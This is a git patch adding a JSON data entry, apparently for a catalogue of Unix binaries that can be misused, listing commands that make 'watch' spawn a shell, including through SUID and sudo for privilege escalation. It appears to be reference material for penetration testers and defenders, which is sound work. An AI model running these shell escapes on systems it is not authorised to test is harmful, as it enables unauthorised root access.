From b0e52b116b687bbe4b8419d66c21338e9780704d Mon Sep 17 00:00:00 2001 From: t0thkr1s Date: Fri, 10 Jan 2020 13:18:07 +0100 Subject: [PATCH] add data for watch --- data/watch.json | 25 +++++++++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 data/watch.json diff --git a/data/watch.json b/data/watch.json new file mode 100644 index 0000000..91c5a56 --- /dev/null +++ b/data/watch.json @@ -0,0 +1,25 @@ +{ + "functions": { + "shell": [ + { + "code": "watch -x sh -c 'reset; exec sh 1>&0 2>&0'" + } + ], + "suid": [ + { + "description": "This keeps the SUID privileges only if the '-x' option is present.", + "code": "./watch -x sh -c 'reset; exec sh 1>&0 2>&0'" + } + ], + "sudo": [ + { + "code": "sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'" + } + ], + "limited-suid": [ + { + "code": "./watch 'reset; exec sh 1>&0 2>&0'" + } + ] + } +} \ No newline at end of file